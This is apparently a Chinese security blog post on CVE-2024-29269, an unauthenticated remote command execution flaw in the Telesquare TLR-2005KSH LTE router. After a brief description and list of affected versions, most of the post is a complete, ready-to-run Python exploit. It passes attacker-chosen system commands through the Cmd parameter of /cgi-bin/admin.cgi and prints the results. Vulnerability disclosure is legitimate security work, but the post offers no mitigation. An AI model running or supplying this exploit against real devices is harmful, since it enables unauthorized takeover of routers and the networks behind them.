CVE-2024-29269|Telesquare TLR-2005KSH路由器未授权远程命令执行漏洞(EXP)

2024-04-15 16:05:33 浏览数 (1)

0x00 前言

Telesquare TLR-2005KSH是韩国Telesquare公司的一款SK电讯Lte路由器。

0x01 漏洞描述

Telesquare TLR-2005Ksh存在未经授权的远程命令执行漏洞。

攻击者可以利用此漏洞在未经身份验证的情况下使用cmd参数执行系统命令,并获取服务器权限。

0x02 CVE编号

CVE-2024-29269

0x03 影响版本

Telesquare TLR-2005Ksh 1.0.0、1.1.4版本

0x04 漏洞详情

Exp:

https://gist.github.com/win3zz/c26047ae4b182c3619509d537b808d2b

代码语言:javascript复制
import sys
import requests
import xml.etree.ElementTree as ET


def get_systemutil_response(url, command, proxy):
    endpoint = f"/cgi-bin/admin.cgi?Command=sysCommand&Cmd={command}"
    full_url = url.rstrip('/')   endpoint
    headers = {
        'Referer': url,
    }
    try:
        response = requests.get(full_url, headers=headers, proxies=proxy)
        if response.status_code == 200:
            print("Response from", full_url)
            #print(response.text)
            root = ET.fromstring(response.text)
            for cmd_result in root.findall('CmdResult'):
                data = cmd_result.text.strip()
                print(data)
        else:
            print("Error: Failed to fetch data. Status code:", response.status_code)
    except requests.exceptions.RequestException as e:
        print("Error:", e)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <url> <command>")
        sys.exit(1)
    url = sys.argv[1]
    command = sys.argv[2]
    proxy = {
        'http': 'http://127.0.0.1:8080',
        'https': 'https://127.0.0.1:8080',
    }
    get_systemutil_response(url, command, proxy)

0x05 参考链接

https://gist.github.com/win3zz/c26047ae4b182c3619509d537b808d2b

https://github.com/wutalent/CVE-2024-29269/blob/main/index.md

0 人点赞